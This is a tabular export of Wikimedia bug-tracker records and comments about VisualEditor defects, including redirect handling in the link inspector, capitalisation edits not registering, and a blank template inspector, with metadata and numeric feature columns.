234371,VisualEditor: Dropdown text style menu overlaps with other interface elements,"(In IE9, I'd note).",,,1371122580,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-mu7u3eco45xxsfwg4vhq,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.7777777777777777,1.0,"(In IE9, I'd note)."
51502,"VisualEditor: Link input widget filters out redirects for target pages, but this logic is wrong for existing pages","Have a link [[Foo]] which is a redirect to [[Foobar]].

Inspect link; it will suggest:

New pages
  Foo
Existing pages
  Foobar

This is because ""Foo"" does not come back in the list of pages you can link to - which is filtered to remove redirects - but we should special-case the existing link.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50240",High,80.0,1371075060,1395441844.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-cdmjeut7byvwilwzjfyv,task_description,declined,True,c1,2,True,False,False,-3,,0.0,0.0,0.0,1.0,0.5,3.5,1.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,2.0,4.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,2.5,1.0,0.5,0.5,1.0,0.0,1.5,1.5,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.5,2.0,10.0,0.5,1.0,4.5,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,2.5,4.0,2.0,0.0,1.0,0.0,2.5,0.0,1.5,1.0,0.0,1.5,0.0,0.0,3.5,3.274132730015083,0.6404600301659125,"Have a link [[Foo]] which is a redirect to [[Foobar]].

Inspect link; it will suggest:

New pages
  Foo
Existing pages
  Foobar

This is because ""Foo"" does not come back in the list of pages you can link to - which is filtered to remove redirects - but we should special-case the existing link.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
233029,"VisualEditor: Link input widget filters out redirects for target pages, but this logic is wrong for existing pages","AFAICT this underlying bug was fixed in October; the issue that MediaWiki's search system sometimes comes back with bad results from time to time (falsely claiming that short titles don't exist) is distinct, as part of bug 54361.",,,1395441844,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-cdmjeut7byvwilwzjfyv,task_subcomment,,True,c1,3,True,,,37,,0.0,0.0,0.0,2.0,2.0,9.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,22.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,7.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,18.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.266666666666667,0.9333333333333333,"AFAICT this underlying bug was fixed in October; the issue that MediaWiki's search system sometimes comes back with bad results from time to time (falsely claiming that short titles don't exist) is distinct, as part of bug 54361."
233023,"VisualEditor: Link input widget filters out redirects for target pages, but this logic is wrong for existing pages","Another couple of examples I found:
I write Indian religion, select the two words and try to add the relevant link; it doesn't recognize the page as an existing redirect, while it lists Indian religions as ""matching page"".
Same story for Tafkap; in this case, a couple of all caps variants are listed as redirects.
In these cases the ""click in the text field"" trick didn't work.",,,1394543448,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-cdmjeut7byvwilwzjfyv,task_subcomment,,True,c1,3,False,,,36,,1.0,0.0,0.0,1.0,2.0,5.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,13.0,0.0,1.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,2.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,9.0,1.0,1.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,5.0,13.0,1.0,0.0,5.0,0.0,5.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,3.7058823529411766,0.7176470588235294,"Another couple of examples I found:
I write Indian religion, select the two words and try to add the relevant link; it doesn't recognize the page as an existing redirect, while it lists Indian religions as ""matching page"".
Same story for Tafkap; in this case, a couple of all caps variants are listed as redirects.
In these cases the ""click in the text field"" trick didn't work."
233017,"VisualEditor: Link input widget filters out redirects for target pages, but this logic is wrong for existing pages","There are a bunch of bugs about this, so I'm pretty sure I'm adding my comment to the wrong one :D
Anyway, it is possible that the inspector does not recognize immediately a page as an existing redirect. See https://en.wikipedia.org/wiki/File:VE_wrong_link_state_in_link_editor.png .
https://en.wikipedia.org/wiki/New_York_Kennedy is a valid redirect page.
Unfortunately this is not easy to reproduce. 
(I never managed to do it by just typing New York Kennedy and then wikiling those words, anyway.)
I sometimes managed to reproduce by selecting a completely random word (or even more than one), clicking on the chain icon, writing New York Kennedy in the dialog. Every time though it does correct itself if, after observing the same result from the screenshot above, you click again in the text field, so the page will correctly appear as a blue link listed as a redirect.",,,1394541885,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-cdmjeut7byvwilwzjfyv,task_subcomment,,True,c1,3,False,,,36,,0.5,0.0,0.5,0.0,1.0,5.0,1.5,0.0,0.5,0.5,3.0,1.0,0.0,0.0,0.5,2.5,0.0,10.0,11.5,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.5,0.0,4.5,1.5,2.0,1.5,0.5,0.5,0.0,0.5,0.0,0.0,0.0,1.0,0.5,0.0,0.5,0.0,0.0,0.0,12.0,1.0,0.5,0.0,1.5,0.0,0.5,0.5,0.0,0.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,8.5,2.0,9.0,1.5,1.0,10.5,0.0,0.5,0.0,0.0,4.0,0.0,1.0,0.0,5.5,11.5,4.0,0.0,0.0,0.0,5.5,0.0,0.0,4.0,0.5,4.5,0.5,0.0,0.0,3.853583258054803,0.7548178259560373,"There are a bunch of bugs about this, so I'm pretty sure I'm adding my comment to the wrong one :D
Anyway, it is possible that the inspector does not recognize immediately a page as an existing redirect. See URL .
URL is a valid redirect page.
Unfortunately this is not easy to reproduce. 
(I never managed to do it by just typing New York Kennedy and then wikiling those words, anyway.)
I sometimes managed to reproduce by selecting a completely random word (or even more than one), clicking on the chain icon, writing New York Kennedy in the dialog. Every time though it does correct itself if, after observing the same result from the screenshot above, you click again in the text field, so the page will correctly appear as a blue link listed as a redirect."
233011,"VisualEditor: Link input widget filters out redirects for target pages, but this logic is wrong for existing pages",James couldn't either so RESOLVED WORKSFORME,,,1391312264,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-cdmjeut7byvwilwzjfyv,task_subcomment,,True,c1,3,True,,,30,,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.571428571428571,1.0,James couldn't either so RESOLVED WORKSFORME
233003,"VisualEditor: Link input widget filters out redirects for target pages, but this logic is wrong for existing pages",I can't reproduce this bug.,,,1391312206,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-cdmjeut7byvwilwzjfyv,task_subcomment,,True,c1,3,True,,,30,,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2857142857142856,1.0,I can't reproduce this bug.
232996,"VisualEditor: Link input widget filters out redirects for target pages, but this logic is wrong for existing pages","Many redirects exist because they respond to expected (simplified) alternative names, plurals, synonyms, non-complete names of people and places, and popular uses in general. It is likely that these popular uses are also used in articles. When selecting a word, the difference between VE recognizing or not these redirects is important:

* If the redirect is recognized and the destination page is shown, most editors will understand the difference and will choose the complete name.

* If the redirect is not shown then you can be a lazy editor and insert the link (having no idea whether it will result in a red or blue link), you can avoid the link altogether just in case, or you can be a good editor (as I try to be), open a new tab, and search that term only to find that many times such term is a known redirect.

Do the latter 20 times in a long article and you will come to this bug report as I did. I found this to be a big nuisance in real editing. (with the side benefit that I tested Cirrus Search more and I even found a bug, thanks to these deviations caused by VE)

PS: or simply show the redirects in italics, as they are already displayed in some MediaWiki lists.",,,1390032494,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-cdmjeut7byvwilwzjfyv,task_subcomment,,True,c1,3,False,,,28,,1.0,0.0,0.3333333333333333,1.6666666666666667,0.6666666666666666,8.0,2.0,0.3333333333333333,0.0,0.6666666666666666,4.0,0.0,0.0,0.3333333333333333,0.0,2.0,0.3333333333333333,4.333333333333333,9.666666666666666,0.0,1.0,0.0,0.0,0.0,1.6666666666666667,0.3333333333333333,0.0,0.0,1.0,1.3333333333333333,0.3333333333333333,4.0,4.0,0.6666666666666666,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,15.666666666666666,0.0,2.3333333333333335,0.0,1.0,0.0,0.3333333333333333,0.3333333333333333,0.0,1.3333333333333333,0.3333333333333333,0.6666666666666666,1.0,0.0,0.0,0.3333333333333333,0.0,0.0,7.0,4.0,6.333333333333333,2.3333333333333335,4.333333333333333,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.3333333333333333,0.0,4.666666666666667,9.666666666666666,2.3333333333333335,0.0,0.0,0.0,4.666666666666667,0.0,0.6666666666666666,3.3333333333333335,0.0,1.0,0.3333333333333333,0.3333333333333333,0.0,3.823155929038282,0.7113912231559291,"Many redirects exist because they respond to expected (simplified) alternative names, plurals, synonyms, non-complete names of people and places, and popular uses in general. It is likely that these popular uses are also used in articles. When selecting a word, the difference between VE recognizing or not these redirects is important:

* If the redirect is recognized and the destination page is shown, most editors will understand the difference and will choose the complete name.

* If the redirect is not shown then you can be a lazy editor and insert the link (having no idea whether it will result in a red or blue link), you can avoid the link altogether just in case, or you can be a good editor (as I try to be), open a new tab, and search that term only to find that many times such term is a known redirect.

Do the latter 20 times in a long article and you will come to this bug report as I did. I found this to be a big nuisance in real editing. (with the side benefit that I tested Cirrus Search more and I even found a bug, thanks to these deviations caused by VE)

PS: or simply show the redirects in italics, as they are already displayed in some MediaWiki lists."
232991,"VisualEditor: Link input widget filters out redirects for target pages, but this logic is wrong for existing pages",*** Bug 59208 has been marked as a duplicate of this bug. ***,,,1390024134,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-cdmjeut7byvwilwzjfyv,task_subcomment,,True,c1,3,True,,,28,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 59208 has been marked as a duplicate of this bug. ***
232984,"VisualEditor: Link input widget filters out redirects for target pages, but this logic is wrong for existing pages","I'd say the desired behavior would be that the link inspector show the existing redirect in different way (such as blue but with a parenthetical note that this is a redirect).

In most cases, the link to the target article is the preferred link choice, but in many cases the redirect is also valid. For cases where the redirect points to a subsection, the redirect is probably the preferred link most of the time.",,,1377278376,,PHID-USER-nyv6rqxnzdy3oe323a3d,True,,,PHID-TASK-cdmjeut7byvwilwzjfyv,task_subcomment,,True,c1,3,False,,,7,,1.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,23.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,17.0,6.0,4.0,4.0,2.0,18.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,13.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,4.0,0.0,1.0,0.0,2.0,0.0,4.059523809523809,0.5952380952380952,"I'd say the desired behavior would be that the link inspector show the existing redirect in different way (such as blue but with a parenthetical note that this is a redirect).

In most cases, the link to the target article is the preferred link choice, but in many cases the redirect is also valid. For cases where the redirect points to a subsection, the redirect is probably the preferred link most of the time."
232975,"VisualEditor: Link input widget filters out redirects for target pages, but this logic is wrong for existing pages",*** Bug 50274 has been marked as a duplicate of this bug. ***,,,1373519588,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-cdmjeut7byvwilwzjfyv,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50274 has been marked as a duplicate of this bug. ***
232968,"VisualEditor: Link input widget filters out redirects for target pages, but this logic is wrong for existing pages","In my local copy, the redirect URL is not filtered out, but I did notice another bug in that code: https://gerrit.wikimedia.org/r/69871",,,1371830218,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-cdmjeut7byvwilwzjfyv,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,4.0,4.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,17.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,12.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7083333333333335,0.9583333333333334,"In my local copy, the redirect URL is not filtered out, but I did notice another bug in that code: GERRIT_URL"
232963,"VisualEditor: Link input widget filters out redirects for target pages, but this logic is wrong for existing pages",*** Bug 49540 has been marked as a duplicate of this bug. ***,,,1371153385,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-cdmjeut7byvwilwzjfyv,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49540 has been marked as a duplicate of this bug. ***
51495,VisualEditor: Capitalisation does not register as a change,"If someone capitalises a character(see https://en.wikipedia.org/w/index.php?title=Founder_effect&diff=559607253&oldid=558757694 for example) the VisualEditor does not recognise it as an alteration to page text and rejects their edit.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1371063300,1372015558.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-clapsacnmffdpmc6uic3,task_description,resolved,True,c1,2,False,False,True,-3,,0.0,2.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,11.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,9.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.4772727272727275,0.7954545454545454,"If someone capitalises a character(see URL for example) the VisualEditor does not recognise it as an alteration to page text and rejects their edit.

--------------------------
**Version**: unspecified
**Severity**: normal"
232562,VisualEditor: Capitalisation does not register as a change,"Filed 53210 for my last comment which I see it now, it was unrelated.",,,1377174192,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-clapsacnmffdpmc6uic3,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,6.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,25.0,6.0,0.0,0.0,0.0,0.0,25.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.9375,"Filed 53210 for my last comment which I see it now, it was unrelated."
232558,VisualEditor: Capitalisation does not register as a change,It is actually being reported now on itwp: in order to do this http://it.wikipedia.org/w/index.php?title=DNasi_attivata_da_caspasi&diff=60101664&oldid=60089990 I had to delete the word and link it back again. Our guidelines about style require pages in that section to appear with the capital letter. I'll also add a link to https://bugzilla.wikimedia.org/show_bug.cgi?id=50452 which looks related. Thanks.,,,1373719943,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-clapsacnmffdpmc6uic3,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,5.0,0.0,9.0,16.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,4.0,4.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,5.0,4.0,12.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,16.0,2.0,0.0,0.0,0.0,9.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.754385964912281,0.8070175438596491,It is actually being reported now on itwp: in order to do this URL I had to delete the word and link it back again. Our guidelines about style require pages in that section to appear with the capital letter. I'll also add a link to URL which looks related. Thanks.
232551,VisualEditor: Capitalisation does not register as a change,Ed's fix on Friday corrected this; sorry for the bug. Now live in production.,,,1372015558,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-clapsacnmffdpmc6uic3,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,17.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,17.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5555555555555554,0.9444444444444444,Ed's fix on Friday corrected this; sorry for the bug. Now live in production.
51493,VisualEditor: Transclusion inspector blank on opening some templates,"Screenshot

See associated screenshot - this is for https://www.mediawiki.org/wiki/Template:Extension

When clicking the inspector icon, the window opens up but remains entirely blank and happily sits there like it for minutes* at a time. More worryingly, if I follow the normal workflow for a broken element (hit the X, make it go away, try and open it again) the inspector refuses to open at all, not just for that template but for other elements on the page.

*I gave up waiting; it may load, eventually, or never load.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=49797

**Attached**: {F11051}",High,80.0,1371060840,1371831543.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-qb2vdcmk4mrkuu43ivqi,task_description,resolved,True,c1,2,False,False,True,-3,,0.5,0.0,0.5,0.0,0.5,4.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,9.0,7.5,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.5,0.0,0.0,3.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.5,0.0,0.0,0.0,0.0,0.0,9.0,0.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.5,9.0,1.0,3.0,5.5,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,3.5,7.5,0.5,0.0,0.0,0.0,3.5,0.0,0.5,1.0,0.0,1.0,0.5,0.0,0.0,3.528462441314554,0.6846635367762128,"Screenshot

See associated screenshot - this is for URL

When clicking the inspector icon, the window opens up but remains entirely blank and happily sits there like it for minutes* at a time. More worryingly, if I follow the normal workflow for a broken element (hit the X, make it go away, try and open it again) the inspector refuses to open at all, not just for that template but for other elements on the page.

*I gave up waiting; it may load, eventually, or never load.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL

**Attached**: {F11051}"
232372,VisualEditor: Transclusion inspector blank on opening some templates,*** Bug 50016 has been marked as a duplicate of this bug. ***,,,1371969869,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qb2vdcmk4mrkuu43ivqi,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50016 has been marked as a duplicate of this bug. ***
232367,VisualEditor: Transclusion inspector blank on opening some templates,*** Bug 49958 has been marked as a duplicate of this bug. ***,,,1371832175,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qb2vdcmk4mrkuu43ivqi,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49958 has been marked as a duplicate of this bug. ***
232363,VisualEditor: Transclusion inspector blank on opening some templates,Related URL: https://gerrit.wikimedia.org/r/69806 (Gerrit Change I0b661744d0388345561897c9631f15e691737031),,,1371766188,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qb2vdcmk4mrkuu43ivqi,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I0b661744d0388345561897c9631f15e691737031)
